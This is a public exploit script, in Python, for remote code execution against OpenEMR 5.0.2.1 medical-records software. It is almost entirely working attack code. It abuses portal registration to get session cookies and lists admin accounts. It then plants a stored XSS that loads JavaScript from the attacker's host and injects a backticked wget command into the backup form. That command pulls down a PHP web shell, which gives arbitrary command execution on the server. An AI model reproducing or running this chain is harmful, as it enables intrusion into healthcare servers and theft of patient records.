Share
## https://sploitus.com/exploit?id=PACKETSTORM:162275
# Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution  
# Exploit Author: Hato0, BvThTrd  
# Date: 2020-08-07  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download  
# Version: 5.0.2.1 (without patches)  
# Tested on: Ubuntu Server 20.04.1 LTS, OpenEMR Version 5.0.2.1  
# References:  
# https://blog.sonarsource.com/openemr-5-0-2-1-command-injection-vulnerability?utm_medium=cpc&utm_source=twitter&utm_campaign=openemr&utm_term=security&utm_content=tofu  
# https://www.youtube.com/watch?v=H8VWNwWgYJo&feature=emb_logo  
  
#!/usr/bin/python3  
  
WARNING='''  
  
  
===================================== WARNING =====================================  
Please do not use for illegal purposes. It's for educational use only.   
Please be on the good side.  
===================================================================================  
  
  
'''  
  
import argparse  
import http.server  
import socketserver  
import requests  
from termcolor import colored  
import json  
  
OPENEMR_DIR = ""  
RHOST = "127.0.0.1"  
RPORT = 80  
VHOST = ""  
LHOST = "127.0.0.1"  
LPORT = 4444  
WPORT = 8080  
  
def main():  
print(colored(WARNING, "red"))  
arguments()  
cookie1, cookie2 = init_session()   
jsonReceived, id = get_api(cookie1["OpenEMR"], cookie2["PortalOpenEMR"])  
write_payload_js()  
write_wshell()  
send_xss(id,cookie1["OpenEMR"], cookie2["PortalOpenEMR"], jsonReceived)   
if len(VHOST) > 0 :  
print(colored("[+]", "green"),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')  
else:  
print(colored("[+]", "green"),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')  
web_serv()  
  
def arguments():  
parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.')  
parser.add_argument("-d", "--directory", dest='directory', nargs='?', help="Root directory OpenEMR CMS")  
parser.add_argument("-rh", "--rhost", dest='rhost', help="Remote server IP", required=True)  
parser.add_argument("-rp", "--rport", dest='rport', nargs='?', help="Remote server PORT", type=int)  
parser.add_argument("-vh", "--vhost", dest='vhost', nargs='?', help="Remote server DOMAIN_NAME")  
parser.add_argument("-lh", "--lhost", dest='lhost', help="Reverse shell IP", required=True)  
parser.add_argument("-lp", "--lport", dest='lport', help="Reverse shell PORT", type=int, required=True)  
parser.add_argument("-wp", "--wport", dest='wport', nargs='?', help="Web Server PORT", type=int)  
  
args = parser.parse_args()  
  
if(args.directory != None):  
global OPENEMR_DIR  
OPENEMR_DIR = str(args.directory)  
if OPENEMR_DIR[-1] != "/":  
OPENEMR_DIR += "/"  
if(args.rhost != None):  
global RHOST  
RHOST = str(args.rhost)  
if(args.rport != None):  
global RPORT   
RPORT = int(args.rport)  
if(args.vhost != None):  
global VHOST  
VHOST = str(args.vhost)  
if(args.lhost != None):  
global LHOST   
LHOST = str(args.lhost)  
if(args.lport != None):  
global LPORT   
LPORT = int(args.lport)  
if(args.wport != None):  
global WPORT   
WPORT = int(args.wport)  
  
def init_session():  
r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST})   
  
if (r.status_code != 200):  
print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')  
exit(1)  
else:  
print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies["OpenEMR"]}')  
  
cookies = {"OpenEMR" : r.cookies["OpenEMR"]}  
r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies)   
  
if (r.status_code != 200):  
print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')  
exit(1)  
else:  
print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies["PortalOpenEMR"]}')  
  
  
cookies2 = {"PortalOpenEMR": r.cookies["PortalOpenEMR"]}  
return (cookies, cookies2)  
  
  
def get_api(cookieEMR, cookiePortal):  
cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}  
  
r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies)  
  
parsed_json = (json.loads(r.text))  
for row in parsed_json['rows']:  
if row['authorized'] == str(1):  
print(colored("[+]", "green"),f'Find admin :')  
print(colored('\t[*]', 'yellow'), f'Id = {row["id"]}')  
print(colored('\t[*]', 'yellow'), f'Username = {row["username"]}')  
print(colored('\t[*]', 'yellow'), f'lname = {row["lname"]}')  
print(colored('\t[*]', 'yellow'), f'fname = {row["fname"]}')  
id = row['id']  
json_to_return = row  
if (r.status_code != 200):  
print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')  
exit(1)  
else:  
return (json_to_return, id)  
  
  
def write_payload_js():  
payload = "var xmlHttp = new XMLHttpRequest();\n"  
payload += "var token = window.location.href;\n"  
if len(VHOST) > 0 :  
payload += "var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n".format(VHOST, OPENEMR_DIR)  
payload += "var backUrl = 'http://{0}/{1}interface/main/backup.php';\n".format(VHOST,OPENEMR_DIR)  
else:  
payload += "var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n".format(RHOST, RPORT, OPENEMR_DIR)  
payload += "var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n".format(RHOST, RPORT, OPENEMR_DIR)  
payload += "var cookieSet = 'OpenEMR=';\n\n"  
  
payload += "token = token.split('=')[1];\n\n"  
  
payload += "xmlHttp.open( 'GET', backUrl, false );\n"  
payload += "xmlHttp.send(null);\n\n"  
  
payload += "var response = xmlHttp.responseText;\n"  
payload += "var elemHTML = response.split(' ');\n"  
payload += "var csrf = '';\n\n\n"  
  
  
payload += "for(var i=0; i < elemHTML.length; i++)\n"  
payload += "{\n"  
payload += "\t if(elemHTML[i] == 'name=\"csrf_token_form\"')\n"  
payload += "\t {\n"  
payload += "\t\t csrf = elemHTML[i+1].split('=')[1].replace(/\"/g,'');\n"  
payload += "\t\t break;\n"  
payload += "\t }\n"  
payload += "}\n\n\n"  
  
  
payload += "var formData = new FormData();\n\n"  
  
payload += "formData.append('csrf_token_form', csrf);\n"  
payload += "formData.append('form_sel_lists[]', 'amendment_status');\n"  
payload += "formData.append('form_sel_layouts[]', '`wget http://{0}:{1}/wshell.php -O wshell.php;`');\n".format(LHOST,WPORT)  
payload += "formData.append('form_step', '102');\n"  
payload += "formData.append('form_status', '');\n\n"  
  
payload += "var request = new XMLHttpRequest();\n"  
payload += "request.open('POST', backUrl);\n"  
payload += "request.send(formData);\n"  
  
with open('payload.js','w') as fpayload:  
for line in payload:  
fpayload.write(line)  
fpayload.close()  
print(colored("[+]", "green"),f'Payload XSS written')  
  
  
def write_wshell():  
with open('wshell.php','w') as fwshell:  
fwshell.write("<?php system($_GET['cmd']); ?>\n")  
fwshell.close()  
print(colored("[+]", "green"),f'Wshell written')  
  
  
def send_xss(id, cookieEMR, cookiePortal, jsonData):  
cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}  
jsonData["lname"] = "<script src='http://{0}:{1}/payload.js'> </script>".format(LHOST,WPORT)  
jsonData["cpoe"] = 1  
jsonData["source"] = 1  
jsonData.pop("id",None)  
data = json.dumps(jsonData, indent = 4)  
r = requests.put(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/user/{id}', headers={'host': VHOST}, cookies=cookies, data=data)  
print(colored("[+]", "green"),f'Stored XSS dropped')  
  
  
def web_serv():  
Handler = http.server.SimpleHTTPRequestHandler  
  
with socketserver.TCPServer(("", WPORT), Handler) as httpd:  
print(colored("[+]", "green"),f'HTTP Simple Server running at localhost PORT {WPORT}')  
httpd.serve_forever()  
  
  
if __name__ == "__main__":  
main()